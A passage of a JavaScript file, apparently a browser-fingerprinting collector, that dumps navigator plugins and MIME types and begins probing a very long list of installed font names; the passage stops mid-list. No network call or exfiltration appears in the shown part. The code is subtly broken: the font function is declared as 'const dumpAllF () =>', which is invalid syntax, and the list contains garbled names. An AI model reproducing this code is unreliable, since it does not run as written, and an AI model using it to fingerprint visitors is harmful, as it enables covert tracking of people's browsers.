  2264.         // noinspection JSUnusedLocalSymbols
  2265.         const sleep = (ms) => {
  2266.             return new Promise(resolve => setTimeout(resolve, ms));
  2267.         };
  2268.  
  2269.         // Avoid loop fetching stuck JS main thread,
  2270.         // but I'm too lazy to create worker
  2271.         const smoothForeach = (arr, steps, cb) => {
  2272.             return new Promise((resolve) => {
  2273.                 let n = 0;
  2274.                 const x = setInterval(async () => {
  2275.                     const max = n + steps;
  2276.                     for (; n < max; ++n) {
  2277.                         if (n >= arr.length) {
  2278.                             clearInterval(x);
  2279.                             resolve();
  2280.                             break;
  2281.                         }
  2282.  
  2283.                         await cb(arr[n]);
  2284.                     }
  2285.                 }, 30);
  2286.             });
  2287.         };
  2288.  
  2289.         const setDDProp = async (dd, propKey, asyncFunc) => {
  2290.             let propValue = null;
  2291.  
  2292.             try {
  2293.                 propValue = await asyncFunc();
  2294.             } catch (_) {
  2295.             }
  2296.  
  2297.             if (!propValue) {
  2298.                 return;
  2299.             }
  2300.  
  2301.             if ((propValue instanceof Array) && propValue.length === 0) {
  2302.                 return;
  2303.             }
  2304.  
  2305.             dd[propKey] = propValue;
  2306.             return dd;
  2307.         };
  2308.  
  2309.         // plugins
  2310.         const dumpPlugins = async () => {
  2311.             const result = {};
  2312.  
  2313.             try {
  2314.                 result.mimeTypes = [];
  2315.                 // noinspection JSDeprecatedSymbols
  2316.                 const mimeTypes = navigator.mimeTypes;
  2317.  
  2318.                 for (let n = 0; n < mimeTypes.length; ++n) {
  2319.                     const mimeType = mimeTypes[n];
  2320.  
  2321.                     // noinspection JSDeprecatedSymbols
  2322.                     result.mimeTypes.push({
  2323.                         'type': mimeType.type,
  2324.                         'suffixes': mimeType.suffixes,
  2325.                         'description': mimeType.description,
  2326.                         '__pluginName': mimeType.enabledPlugin.name,
  2327.                     });
  2328.                 }
  2329.  
  2330.                 result.plugins = [];
  2331.  
  2332.                 // noinspection JSDeprecatedSymbols
  2333.                 const plugins = navigator.plugins;
  2334.                 for (let n = 0; n < plugins.length; ++n) {
  2335.                     const plugin = plugins[n];
  2336.                     const __mimeTypes = [];
  2337.  
  2338.                     for (let m = 0; m < plugin.length; ++m) {
  2339.                         __mimeTypes.push(plugin[m].type);
  2340.                     }
  2341.  
  2342.                     result.plugins.push({
  2343.                         'name': plugin.name,
  2344.                         'filename': plugin.filename,
  2345.                         'description': plugin.description,
  2346.                         '__mimeTypes': __mimeTypes,
  2347.                     });
  2348.                 }
  2349.             } catch (_) {
  2350.             }
  2351.  
  2352.             return result;
  2353.         };
  2354.  
  2355.         // allFonts
  2356.          const dumpAllF () => {
  2357.             const result = [];
  2358.  
  2359.             // Test fonts, there are many fonts and will run for a while here.
  2360.             const extraFonts = ['Trebuchet MS', 'Wingdings', 'Sylfaen', 'Segoe UI', 'Constantia', 'SimSun-ExtB', 'MT Extra', 'Gulim', 'Leelawadee', 'Tunga', 'Meiryo', 'Vrinda', 'CordiaUPC', 'Aparajita', 'IrisUPC', 'Palatino', 'Colonna MT', 'Playbill', 'Jokerman', 'Parchment', 'MS Outlook', 'Tw Cen MT', 'OPTIMA', 'Futura', 'AVENIR', 'Arial Hebrew', 'Savoye LET', 'Castellar', 'MYRIAD PRO', 'Andale Mono', 'Arial Narrow', 'Arial Unicode MS', 'Batang', 'Bell MT', 'Brush Script', 'Brush Script MT', 'Calibri', 'Charter', 'Courier', 'Courier New', 'Curlz MT', 'DejaVu Sans', 'DejaVu Sans Mono', 'DejaVu Serif Condensed', 'Droid Sans', 'Droid Sans Fallback', 'Droid Serif', 'Forte', 'Geneva', 'Hei', 'Levenim MT', 'Liberation Sans', 'Liberation Sans Narrow', 'Marlett', 'Meiryo UI', 'Microsoft Uighur', 'Microsoft YaHei UI', 'MS Mincho', 'MS UI Gothic', 'NanumGothic', 'Nirmala UI', 'Papyrus', 'PMingLiU', 'PT Serif', 'SimHei', 'STIXVariants', 'STSong', 'Traditional Arabic', 'Urdu Typesetting', 'Verdana', 'Wingdings 3', 'Helkevtrica', 'Al Bayan', 'Al Nile', 'Al Tarikh', 'American Typewriter', 'Apple Braille', 'Apple Chancery', 'Apple Color Emoji', 'Apple SD Gothic Neo', 'Apple Symbols', 'AppleGothic', 'AppleMyungjo', 'Arial Black', 'Arial Rounded MT Bold', 'Arial', 'Avenir Next Condensed', 'Avenir Next', 'Avenir', 'Ayuthaya', 'Baghdad', 'Bangla MN', 'Bangla Sangam MN', 'Baskerville', 'Beirut', 'Big Caslon', 'Bodoni Ornaments', 'Bradley Hand', 'Chalkboard SE', 'Chalkboard', 'Chalkduster', 'Cochin', 'Comic Sans MS', 'Copperplate', 'Corsiva Hebrew', 'Damascus', 'DecoType Naskh', 'Devanagari MT', 'Devanagari Sangam MN', 'Didot', 'Diwan Kufi', 'Diwan Thuluth', 'Euphemia UCAS', 'Farah', 'Farisi', 'GB18030 Bitmap', 'Geeza Pro', 'Georgia', 'Gill Sans', 'Gujarati MT', 'Gujarati Sangam MN', 'Gurmukhi MN', 'Gurmukhi MT', 'Gurmukhi Sangam MN', 'Heiti SC', 'Helvetica Neue', 'Helvetica', 'Herculanum', 'Hiragino Sans GB', 'Hiragino Sans', 'Hoefler Text', 'ITF Devanagari', 'Impact', 'InaiMathi', 'Kannada MN', 'Kefa', 'Khmer MN', 'Khmer Sangam MN', 'Kohinoor Bangla', 'Kohinoor Telugu', 'Kokonor', 'Krungthep', 'KufiStandardGK', 'Lao MN', 'Lao Sangam MN', 'Lucida Grande', 'Luminari', 'Marker Felt', 'Menlo', 'Microsoft Sans Serif', 'Mishafi Gold', 'Monaco', 'Mshtakan', 'Muna', 'Nadeem', 'New Peninim MT', 'Noteworthy', 'Optima', 'Oriya Sangam MN', 'PT Mono', 'PT Sans Caption', 'PT Sans Narrow', 'PT Sans', 'PT Serif Caption', 'Phosphate', 'PingFang HK', 'Plantagenet Cherokee', 'Raanana', 'STIXGeneral', 'STIXIntegralsD', 'STIXIntegralsSm', 'STIXIntegralsUp', 'STIXIntegralsUpD', 'STIXIntegralsUpSm', 'STIXSizeFiveSym', 'STIXSizeFourSym', 'STIXSizeOneSym', 'STIXSizeThreeSym', 'STIXSizeTwoSym', 'Sana', 'Sathu', 'SignPainter', 'Silom', 'Sinhala Sangam MN', 'Skia', 'Snell Roundhand', 'Songti SC', 'Sukhumvit Set', 'Symbol', 'Tahoma', 'Tamil Sangam MN', 'Telugu Sangam MN', 'Thonburi', 'Trattatello', 'Waseem', 'Zapfino', 'DIN Alternate', 'DIN Condensed', 'Noto Nastaliq Urdu', 'Rockwell', 'Zapf Dingbats', 'BlinkMacSystemFont', 'Mishafi', 'Myanmar MN', 'Myanmar Sangam MN', 'Oriya MN', 'Songti TC', 'Tamil MN', 'Telugu MN', 'Webdings', 'Cambria Math', 'Cambria', 'Candara', 'Consolas', 'Corbel', 'Ebrima', 'Franklin Gothic', 'Gabriola', 'Lucida Console', 'Lucida Sans Unicode', 'MS Gothic', 'MS PGothic', 'MV Boli', 'Malgun Gothic', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU-ExtB', 'Mongolian Baiti', 'PMingLiU-ExtB', 'Palatino Linotype', 'Segoe Print', 'Segoe Script', 'Segoe UI Symbol', 'SimSun', 'Gadugi', 'Javanese Text', 'Microsoft JhengHei UI', 'Myanmar Text', 'Sitka Small', 'Sitka Text', 'Sitka Subheading', 'Sitka Heading', 'Sitka Display', 'Sitka Banner', 'Yu Gothic', 'Microsoft Tai Le', 'MingLiU_HKSCS-ExtB', 'Segoe UI Emoji', 'Bahnschrift', 'Abyssinica SIL', 'Liberation Mono', 'Liberation Serif', 'Lohit Tamil', 'Padauk', 'Waree', 'DejaVu Serif', 'Lohit Kannada', 'Samyak Devanagari', 'OpenSymbol', 'Nakula', 'Chandas', 'Keraleeyam', 'Mukti Narrow', 'Meera', 'Nimbus Roman', 'Kalimati', 'KacstQurn', 'Gubbi', 'Tibetan Machine Uni', 'Umpush', 'Purisa', 'Pothana2000', 'Noto Serif CJK JP', 'Norasi', 'Loma', 'Karumbi', 'mry_KacstQurn', 'Noto Serif CJK SC', 'Likhan', 'RaghuMalayalamSans', 'Padauk Book', 'Phetsarath OT', 'Sawasdee', 'Sahadeva', 'Nimbus Sans', 'Tlwg Typist', 'Noto Sans Mono CJK SC', 'Manjari', 'Ubuntu', 'Chilanka', 'FreeSerif', 'Nimbus Mono PS', 'Lohit Assamese', 'AnjaliOldLipi', 'Samyak Gujarati', 'Nimbus Sans Narrow', 'Kinnari', 'KacstOne', 'Mitra Mono', 'Kalapi', 'Laksaman', 'padmaa', 'Ani', 'Rachana', 'Pagul', 'Lohit Telugu', 'Samanata', 'Vemana2000', 'Lohit Gujarati', 'KacstDecorative', 'Lohit Malayalam', 'Noto Sans CJK HK', 'FreeSans', 'Sarai', 'Lohit Devanagari', 'Noto Color Emoji', 'Uroob', 'Noto Mono', 'Dyuthi', 'Suruma', 'Jamrul', 'Saab', 'Navilu', 'Gargi', 'Garuda', 'Rekha', 'Lohit Gurmukhi', 'FreeMono', 'KacstScreen', 'KacstTitle', 'KacstFarsi', 'Tlwg Typo', 'KacstNaskh', 'KacstPoster', 'Noto Sans CJK KR', 'LKLUG', 'KacstPen', 'Tlwg Mono', 'Lohit Odia', 'KacstOffice', 'ori1Uni', 'Samyak Tamil', 'Noto Sans Mono CJK JP', 'Tlwg Typewriter', 'KacstTitleL', 'KacstDigital', 'KacstLetter', 'KacstBook', 'Sans', 'sans-serif', 'serif', 'monospace', 'Arial MT', 'Bitstream Vera Sans Mono', 'Book Antiqua', 'Bookman Old Style', 'Century', 'Century Gothic', 'Century Schoolbook', 'Comic Sans', 'Lucida Bright', 'Lucida Calligraphy', 'Lucida Fax', 'LUCIDA GRANDE', 'Lucida Handwriting', 'Lucida Sans', 'Lucida Sans Typewriter', 'Monotype Corsiva', 'MS Reference Sans Serif', 'MS Sans Serif', 'MS Serif', 'MYRIAD', 'Segoe UI Light', 'Segoe UI Semibold', 'Times', 'Times New Roman', 'Times New Roman PS', 'Wingdings 2', 'Abadi MT Condensed Light', 'Academy Engraved LET', 'ADOBE CASLON PRO', 'Adobe Garamond', 'ADOBE GARAMOND PRO', 'Agency FB', 'Aharoni', 'Albertus Extra Bold', 'Albertus Medium', 'Algerian', 'Amazone BT', 'American Typewriter Condensed', 'AmerType Md BT', 'Andalus', 'Angsana New', 'AngsanaUPC', 'Antique Olive', 'Arabic Typesetting', 'ARCHER', 'ARNO PRO', 'Arrus BT', 'Aurora Cn BT', 'AvantGarde Bk BT', 'AvantGarde Md BT', 'Bandy', 'Bank Gothic', 'BankGothic Md BT', 'Baskerville Old Face', 'BatangChe', 'Bauer Bodoni', 'Bauhaus 93', 'Bazooka', 'Bembo', 'Benguiat Bk BT', 'Berlin Sans FB', 'Berlin Sans FB Demi', 'Bernard MT Condensed', 'BernhardFashion BT', 'BernhardMod BT', 'BinnerD', 'Blackadder ITC', 'BlairMdITC TT', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bodoni MT', 'Bodoni MT Black', 'Bodoni MT Condensed', 'Bodoni MT Poster Compressed', 'Bookshelf Symbol 7', 'Boulder', 'Bradley Hand ITC', 'Bremen Bd BT', 'Britannic Bold', 'Broadway', 'Browallia New', 'BrowalliaUPC', 'Californian FB', 'Calisto MT', 'Calligrapher', 'CaslonOpnface BT', 'Centaur', 'Cezanne', 'CG Omega', 'CG Times', 'Charlesworth', 'Charter Bd BT', 'Charter BT', 'Chaucer', 'ChelthmITC Bk BT', 'Chiller', 'Clarendon', 'Clarendon Condensed', 'CloisterBlack BT', 'Cooper Black', 'Copperplate Gothic', 'Copperplate Gothic Bold', 'Copperplate Gothic Light', 'CopperplGoth Bd BT', 'Cordia New', 'Cornerstone', 'Coronet', 'Cuckoo', 'DaunPenh', 'Dauphin', 'David', 'DB LCD Temp', 'DELICIOUS', 'Denmark', 'DFKai-SB', 'DilleniaUPC', 'DIN', 'DokChampa', 'Dotum', 'DotumChe', 'Edwardian Script ITC', 'Elephant', 'English 111 Vivace BT', 'Engravers MT', 'EngraversGothic BT', 'Eras Bold ITC', 'Eras Demi ITC', 'Eras Light ITC', 'Eras Medium ITC', 'EucrosiaUPC', 'Euphemia', 'EUROSTILE', 'Exotc350 Bd BT', 'FangSong', 'Felix Titling', 'Fixedsys', 'FONTIN', 'Footlight MT Light', 'FrankRuehl', 'Fransiscan', 'Freefrm721 Blk BT', 'FreesiaUPC', 'Freestyle Script', 'French Script MT', 'FrnkGothITC Bk BT', 'Fruitger', 'FRUTIGER', 'Futura Bk BT', 'Futura Lt BT', 'Futura Md BT', 'Futura ZBlk BT', 'FuturaBlack BT', 'Galliard BT', 'Gautami', 'Geometr231 BT', 'Geometr231 Hv BT', 'Geometr231 Lt BT', 'GeoSlab 703 Lt BT', 'GeoSlab 703 XBd BT', 'Gigi', 'Gill Sans MT', 'Gill Sans MT Condensed', 'Gill Sans MT Ext Condensed Bold', 'Gill Sans Ultra Bold', 'Gill Sans Ultra Bold Condensed', 'Gisha', 'Gloucester MT Extra Condensed', 'GOTHAM', 'GOTHAM BOLD', 'Goudy Old Style', 'Goudy Stout', 'GoudyHandtooled BT', 'GoudyOLSt BT', 'GulimChe', 'Gungsuh', 'GungsuhChe', 'Haettenschweiler', 'Harlow Solid Italic', 'Harrington', 'Heather', 'Heiti TC', 'HELV', 'Herald', 'High Tower Text', 'Hiragino Kaku Gothic ProN', 'Hiragino Mincho ProN', 'Humanst 521 Cn BT', 'Humanst521 BT', 'Humanst521 Lt BT', 'Imprint MT Shadow', 'Incised901 Bd BT', 'Incised901 BT', 'Incised901 Lt BT', 'INCONSOLATA', 'Informal Roman', 'Informal011 BT', 'INTERSTATE', 'Iskoola Pota', 'JasmineUPC', 'Jazz LET', 'Jenson', 'Jester', 'Juice ITC', 'Kabel Bk BT', 'Kabel Ult BT', 'Kailasa', 'KaiTi', 'Kalinga', 'Kannada Sangam MN', 'Kartika', 'Kaufmann Bd BT', 'Kaufmann BT', 'Khmer UI', 'KodchiangUPC', 'Kokila', 'Korinna BT', 'Kristen ITC', 'Kunstler Script', 'Lao UI', 'Latha', 'Letter Gothic', 'LilyUPC', 'Lithograph', 'Lithograph Light', 'Long Island', 'Lydian BT', 'Magneto', 'Maiandra GD', 'Malayalam Sangam MN', 'Mangal', 'Marigold', 'Marion', 'Market', 'Matisse ITC', 'Matura MT Script Capitals', 'MingLiU', 'MingLiU_HKSCS', 'Minion', 'Minion Pro', 'Miriam', 'Miriam Fixed', 'Mistral', 'Modern', 'Modern No. 20', 'Mona Lisa Solid ITC TT', 'MONO', 'MoolBoran', 'Mrs Eaves', 'MS LineDraw', 'MS PMincho', 'MS Reference Specialty', 'MUSEO', 'Narkisim', 'NEVIS', 'News Gothic', 'News GothicMT', 'NewsGoth BT', 'Niagara Engraved', 'Niagara Solid', 'NSimSun', 'Nyala', 'OCR A Extended', 'Old Century', 'Old English Text MT', 'Onyx', 'Onyx BT', 'OSAKA', 'OzHandicraft BT', 'Palace Script MT', 'Party LET', 'Pegasus', 'Perpetua', 'Perpetua Titling MT', 'PetitaBold', 'Pickwick', 'Poor Richard', 'Poster', 'PosterBodoni BT', 'PRINCETOWN LET', 'Pristina', 'PTBarnum BT', 'Pythagoras', 'Raavi', 'Rage Italic', 'Ravie', 'Ribbon131 Bd BT', 'Rockwell Condensed', 'Rockwell Extra Bold', 'Rod', 'Roman', 'Sakkal Majalla', 'Santa Fe LET', 'Sceptre', 'Script', 'Script MT Bold', 'SCRIPTINA', 'Serifa', 'Serifa BT', 'Serifa Th BT', 'ShelleyVolante BT', 'Sherwood', 'Shonar Bangla', 'Showcard Gothic', 'Shruti', 'Signboard', 'SILKSCREEN', 'Simplified Arabic', 'Simplified Arabic Fixed', 'Sketch Rockwell', 'Small Fonts', 'Snap ITC', 'Socket', 'Souvenir Lt BT', 'Staccato222 BT', 'Steamer', 'Stencil', 'Storybook', 'Styllo', 'Subway', 'Swis721 BlkEx BT', 'Swiss911 XCm BT', 'Synchro LET', 'System', 'Technical', 'Teletype', 'Tempus Sans ITC', 'Terminal', 'Trajan', 'TRAJAN PRO', 'Tristan', 'Tubular', 'Tw Cen MT Condensed', 'Tw Cen MT Condensed Extra Bold', 'TypoUpright BT', 'Unicorn', 'Univers', 'Univers CE 55 Medium', 'Univers Condensed', 'Utsaah', 'Vagabond', 'Vani', 'Vijaya', 'Viner Hand ITC', 'VisualUI', 'Vivaldi', 'Vladimir Script', 'Westminster', 'WHITNEY', 'Wide Latin', 'ZapfEllipt BT', 'ZapfHumnst BT', 'ZapfHumnst Dm BT', 'Zurich BlkEx BT', 'Zurich Ex BT', 'ZWAdobeF', 'ABeeZee', 'Abel', 'Abhaya Libre', 'Abril Fatface', 'Aclonica', 'Acme', 'Actor', 'Adamina', 'Advent Pro', 'Aguafina Script', 'Akronim', 'Aladin', 'Aldrich', 'Alef', 'Alegreya', 'Alegreya SC', 'Alegreya Sans', 'Alegreya Sans SC', 'Aleo', 'Alex Brush', 'Alfa Slab One', 'Alice', 'Alike', 'Alike Angular', 'Allan', 'Allerta', 'Allerta Stencil', 'Allura', 'Almarai', 'Almendra', 'Almendra Display', 'Almendra SC', 'Amarante', 'Amaranth', 'Amatic SC', 'Amethysta', 'Amiko', 'Amiri', 'Amita', 'Anaheim', 'Andada', 'Andika', 'Angkor', 'Annie Use Your Telescope', 'Anonymous Pro', 'Antic', 'Antic Didone', 'Antic Slab', 'Anton', 'Arapey', 'Arbutus', 'Arbutus Slab', 'Architects Daughter', 'Archivo', 'Archivo Black', 'Archivo Narrow', 'Aref Ruqaa', 'Arima Madurai', 'Arimo', 'Arizonia', 'Armata', 'Arsenal', 'Artifika', 'Arvo', 'Arya', 'Asap', 'Asap Condensed', 'Asar', 'Asset', 'Assistant', 'Astloch', 'Asul', 'Athiti', 'Atma', 'Atomic Age', 'Aubrey', 'Audiowide', 'Autour One', 'Average', 'Average Sans', 'Averia Gruesa Libre', 'Averia Libre', 'Averia Sans Libre', 'Averia Serif Libre', 'B612', 'B612 Mono', 'Bad Script', 'Bahiana', 'Bahianita', 'Bai Jamjuree', 'Baloo', 'Baloo Bhai', 'Baloo Bhaijaan', 'Baloo Bhaina', 'Baloo Chettan', 'Baloo Da', 'Baloo Paaji', 'Baloo Tamma', 'Baloo Tammudu', 'Baloo Thambi', 'Balthazar', 'Bangers', 'Barlow', 'Barlow Condensed', 'Barlow Semi Condensed', 'Barriecito', 'Barrio', 'Basic', 'Battambang', 'Baumans', 'Bayon', 'Be Vietnam', 'Bebas Neue', 'Belgrano', 'Bellefair', 'Belleza', 'BenchNine', 'Bentham', 'Berkshire Swash', 'Beth Ellen', 'Bevan', 'Big Shoulders Display', 'Big Shoulders Text', 'Bigelow Rules', 'Bigshot One', 'Bilbo', 'Bilbo Swash Caps', 'BioRhyme', 'BioRhyme Expanded', 'Biryani', 'Bitter', 'Black And White Picture', 'Black Han Sans', 'Black Ops One', 'Blinker', 'Bokor', 'Bonbon', 'Boogaloo', 'Bowlby One', 'Bowlby One SC', 'Brawler', 'Bree Serif', 'Bubblegum Sans', 'Bubbler One', 'Buda', 'Buenard', 'Bungee', 'Bungee Hairline', 'Bungee Inline', 'Bungee Outline', 'Bungee Shade', 'Butcherman', 'Butterfly Kids', 'Cabin', 'Cabin Condensed', 'Cabin Sketch', 'Caesar Dressing', 'Cagliostro', 'Cairo', 'Calligraffitti', 'Cambay', 'Cambo', 'Candal', 'Cantarell', 'Cantata One', 'Cantora One', 'Capriola', 'Cardo', 'Carme', 'Carrois Gothic', 'Carrois Gothic SC', 'Carter One', 'Catamaran', 'Caudex', 'Caveat', 'Caveat Brush', 'Cedarville Cursive', 'Ceviche One', 'Chakra Petch', 'Changa', 'Changa One', 'Chango', 'Charm', 'Charmonman', 'Chathura', 'Chau Philomene One', 'Chela One', 'Chelsea Market', 'Chenla', 'Cherry Cream Soda', 'Cherry Swash', 'Chewy', 'Chicle', 'Chivo', 'Chonburi', 'Cinzel', 'Cinzel Decorative', 'Clicker Script', 'Coda', 'Coda Caption', 'Codystar', 'Coiny', 'Combo', 'Comfortaa', 'Coming Soon', 'Concert One', 'Condiment', 'Content', 'Contrail One', 'Convergence', 'Cookie', 'Copse', 'Corben', 'Cormorant', 'Cormorant Garamond', 'Cormorant Infant', 'Cormorant SC', 'Cormorant Unicase', 'Cormorant Upright', 'Courgette', 'Cousine', 'Coustard', 'Covered By Your Grace', 'Crafty Girls', 'Creepster', 'Crete Round', 'Crimson Pro', 'Crimson Text', 'Croissant One', 'Crushed', 'Cuprum', 'Cute Font', 'Cutive', 'Cutive Mono', 'DM Sans', 'DM Serif Display', 'DM Serif Text', 'Damion', 'Dancing Script', 'Dangrek', 'Darker Grotesque', 'David Libre', 'Dawning of a New Day', 'Days One', 'Dekko', 'Delius', 'Delius Swash Caps', 'Delius Unicase', 'Della Respira', 'Denk One', 'Devonshire', 'Dhurjati', 'Didact Gothic', 'Diplomata', 'Diplomata SC', 'Do Hyeon', 'Dokdo', 'Domine', 'Donegal One', 'Doppio One', 'Dorsa', 'Dosis', 'Dr Sugiyama', 'Duru Sans', 'Dynalight', 'EB Garamond', 'Eagle Lake', 'East Sea Dokdo', 'Eater', 'Economica', 'Eczar', 'El Messiri', 'Electrolize', 'Elsie', 'Elsie Swash Caps', 'Emblema One', 'Emilys Candy', 'Encode Sans', 'Encode Sans Condensed', 'Encode Sans Expanded', 'Encode Sans Semi Condensed', 'Encode Sans Semi Expanded', 'Engagement', 'Englebert', 'Enriqueta', 'Erica One', 'Esteban', 'Euphoria Script', 'Ewert', 'Exo', 'Exo 2', 'Expletus Sans', 'Fahkwang', 'Fanwood Text', 'Farro', 'Farsan', 'Fascinate', 'Fascinate Inline', 'Faster One', 'Fasthand', 'Fauna One', 'Faustina', 'Federant', 'Federo', 'Felipa', 'Fenix', 'Finger Paint', 'Fira Code', 'Fira Mono', 'Fira Sans', 'Fira Sans Condensed', 'Fira Sans Extra Condensed', 'Fjalla One', 'Fjord One', 'Flamenco', 'Flavors', 'Fondamento', 'Fontdiner Swanky', 'Forum', 'Francois One', 'Frank Ruhl Libre', 'Freckle Face', 'Fredericka the Great', 'Fredoka One', 'Freehand', 'Fresca', 'Frijole', 'Fruktur', 'Fugaz One', 'GFS Didot', 'GFS Neohellenic', 'Gabriela', 'Gaegu', 'Gafata', 'Galada', 'Galdeano', 'Galindo', 'Gamja Flower', 'Gayathri', 'Gentium Basic', 'Gentium Book Basic', 'Geo', 'Geostar', 'Geostar Fill', 'Germania One', 'Gidugu', 'Gilda Display', 'Give You Glory', 'Glass Antiqua', 'Glegoo', 'Gloria Hallelujah', 'Goblin One', 'Gochi Hand', 'Gorditas', 'Gothic A1', 'Goudy Bookletter 1911', 'Graduate', 'Grand Hotel', 'Gravitas One', 'Great Vibes', 'Grenze', 'Griffy', 'Gruppo', 'Gudea', 'Gugi', 'Gurajada', 'Habibi', 'Halant', 'Hammersmith One', 'Hanalei', 'Hanalei Fill', 'Handlee', 'Hanuman', 'Happy Monkey', 'Harmattan', 'Headland One', 'Heebo', 'Henny Penny', 'Hepta Slab', 'Herr Von Muellerhoff', 'Hi Melody', 'Hind', 'Hind Guntur', 'Hind Madurai', 'Hind Siliguri', 'Hind Vadodara', 'Holtwood One SC', 'Homemade Apple', 'Homenaje', 'IBM Plex Mono', 'IBM Plex Sans', 'IBM Plex Sans Condensed', 'IBM Plex Serif', 'IM Fell DW Pica', 'IM Fell DW Pica SC', 'IM Fell Double Pica', 'IM Fell Double Pica SC', 'IM Fell English', 'IM Fell English SC', 'IM Fell French Canon', 'IM Fell French Canon SC', 'IM Fell Great Primer', 'IM Fell Great Primer SC', 'Iceberg', 'Iceland', 'Imprima', 'Inconsolata', 'Inder', 'Indie Flower', 'Inika', 'Inknut Antiqua', 'Irish Grover', 'Istok Web', 'Italiana', 'Italianno', 'Itim', 'Jacques Francois', 'Jacques Francois Shadow', 'Jaldi', 'Jim Nightshade', 'Jockey One', 'Jolly Lodger', 'Jomhuria', 'Jomolhari', 'Josefin Sans', 'Josefin Slab', 'Joti One', 'Jua', 'Judson', 'Julee', 'Julius Sans One', 'Junge', 'Jura', 'Just Another Hand', 'Just Me Again Down Here', 'K2D', 'Kadwa', 'Kalam', 'Kameron', 'Kanit', 'Kantumruy', 'Karla', 'Karma', 'Katibeh', 'Kaushan Script', 'Kavivanar', 'Kavoon', 'Kdam Thmor', 'Keania One', 'Kelly Slab', 'Kenia', 'Khand', 'Khmer', 'Khula', 'Kirang Haerang', 'Kite One', 'Knewave', 'KoHo', 'Kodchasan', 'Kosugi', 'Kosugi Maru', 'Kotta One', 'Koulen', 'Kranky', 'Kreon', 'Kristi', 'Krona One', 'Krub', 'Kulim Park', 'Kumar One', 'Kumar One Outline', 'Kurale', 'La Belle Aurore', 'Lacquer', 'Laila', 'Lakki Reddy', 'Lalezar', 'Lancelot', 'Lateef', 'Lato', 'League Script', 'Leckerli One', 'Ledger', 'Lekton', 'Lemon', 'Lemonada', 'Lexend Deca', 'Lexend Exa', 'Lexend Giga', 'Lexend Mega', 'Lexend Peta', 'Lexend Tera', 'Lexend Zetta', 'Libre Barcode 128', 'Libre Barcode 128 Text', 'Libre Barcode 39', 'Libre Barcode 39 Extended', 'Libre Barcode 39 Extended Text', 'Libre Barcode 39 Text', 'Libre Baskerville', 'Libre Caslon Display', 'Libre Caslon Text', 'Libre Franklin', 'Life Savers', 'Lilita One', 'Lily Script One', 'Limelight', 'Linden Hill', 'Literata', 'Liu Jian Mao Cao', 'Livvic', 'Lobster', 'Lobster Two', 'Londrina Outline', 'Londrina Shadow', 'Londrina Sketch', 'Londrina Solid', 'Long Cang', 'Lora', 'Love Ya Like A Sister', 'Loved by the King', 'Lovers Quarrel', 'Luckiest Guy', 'Lusitana', 'Lustria', 'M PLUS 1p', 'M PLUS Rounded 1c', 'Ma Shan Zheng', 'Macondo', 'Macondo Swash Caps', 'Mada', 'Magra', 'Maiden Orange', 'Maitree', 'Major Mono Display', 'Mako', 'Mali', 'Mallanna', 'Mandali', 'Mansalva', 'Manuale', 'Marcellus', 'Marcellus SC', 'Marck Script', 'Margarine', 'Markazi Text', 'Marko One', 'Marmelad', 'Martel', 'Martel Sans', 'Marvel', 'Mate', 'Mate SC', 'Material Icons', 'Maven Pro', 'McLaren', 'Meddon', 'MedievalSharp', 'Medula One', 'Meera Inimai', 'Megrim', 'Meie Script', 'Merienda', 'Merienda One', 'Merriweather', 'Merriweather Sans', 'Metal', 'Metal Mania', 'Metamorphous', 'Metrophobic', 'Michroma', 'Milonga', 'Miltonian', 'Miltonian Tattoo', 'Mina', 'Miniver', 'Miriam Libre', 'Mirza', 'Miss Fajardose', 'Mitr', 'Modak', 'Modern Antiqua', 'Mogra', 'Molengo', 'Molle', 'Monda', 'Monofett', 'Monoton', 'Monsieur La Doulaise', 'Montaga', 'Montez', 'Montserrat', 'Montserrat Alternates', 'Montserrat Subrayada', 'Moul', 'Moulpali', 'Mountains of Christmas', 'Mouse Memoirs', 'Mr Bedfort', 'Mr Dafoe', 'Mr De Haviland', 'Mrs Saint Delafield', 'Mrs Sheppards', 'Mukta', 'Mukta Mahee', 'Mukta Malar', 'Mukta Vaani', 'Muli', 'Mystery Quest', 'NTR', 'Nanum Brush Script', 'Nanum Gothic', 'Nanum Gothic Coding', 'Nanum Myeongjo', 'Nanum Pen Script', 'Neucha', 'Neuton', 'New Rocker', 'News Cycle', 'Niconne', 'Niramit', 'Nixie One', 'Nobile', 'Nokora', 'Norican', 'Nosifer', 'Notable', 'Nothing You Could Do', 'Noticia Text', 'Noto Sans', 'Noto Sans HK', 'Noto Sans JP', 'Noto Sans KR', 'Noto Sans SC', 'Noto Sans TC', 'Noto Serif', 'Noto Serif JP', 'Noto Serif KR', 'Noto Serif SC', 'Noto Serif TC', 'Nova Cut', 'Nova Flat', 'Nova Mono', 'Nova Oval', 'Nova Round', 'Nova Script', 'Nova Slim', 'Nova Square', 'Numans', 'Nunito', 'Nunito Sans', 'Odor Mean Chey', 'Offside', 'Old Standard TT', 'Oldenburg', 'Oleo Script', 'Oleo Script Swash Caps', 'Open Sans', 'Open Sans Condensed', 'Oranienbaum', 'Orbitron', 'Oregano', 'Orienta', 'Original Surfer', 'Oswald', 'Over the Rainbow', 'Overlock', 'Overlock SC', 'Overpass', 'Overpass Mono', 'Ovo', 'Oxygen', 'Oxygen Mono', 'Pacifico', 'Palanquin', 'Palanquin Dark', 'Pangolin', 'Paprika', 'Parisienne', 'Passero One', 'Passion One', 'Pathway Gothic One', 'Patrick Hand', 'Patrick Hand SC', 'Pattaya', 'Patua One', 'Pavanam', 'Paytone One', 'Peddana', 'Peralta', 'Permanent Marker', 'Petit Formal Script', 'Petrona', 'Philosopher', 'Piedra', 'Pinyon Script', 'Pirata One', 'Plaster', 'Play', 'Playball', 'Playfair Display', 'Playfair Display SC', 'Podkova', 'Poiret One', 'Poller One', 'Poly', 'Pompiere', 'Pontano Sans', 'Poor Story', 'Poppins', 'Port Lligat Sans', 'Port Lligat Slab', 'Pragati Narrow', 'Prata', 'Preahvihear', 'Press Start 2P', 'Pridi', 'Princess Sofia', 'Prociono', 'Prompt', 'Prosto One', 'Proza Libre', 'Public Sans', 'Puritan', 'Purple Purse', 'Quando', 'Quantico', 'Quattrocento', 'Quattrocento Sans', 'Questrial', 'Quicksand', 'Quintessential', 'Qwigley', 'Racing Sans One', 'Radley', 'Rajdhani', 'Rakkas', 'Raleway', 'Raleway Dots', 'Ramabhadra', 'Ramaraja', 'Rambla', 'Rammetto One', 'Ranchers', 'Rancho', 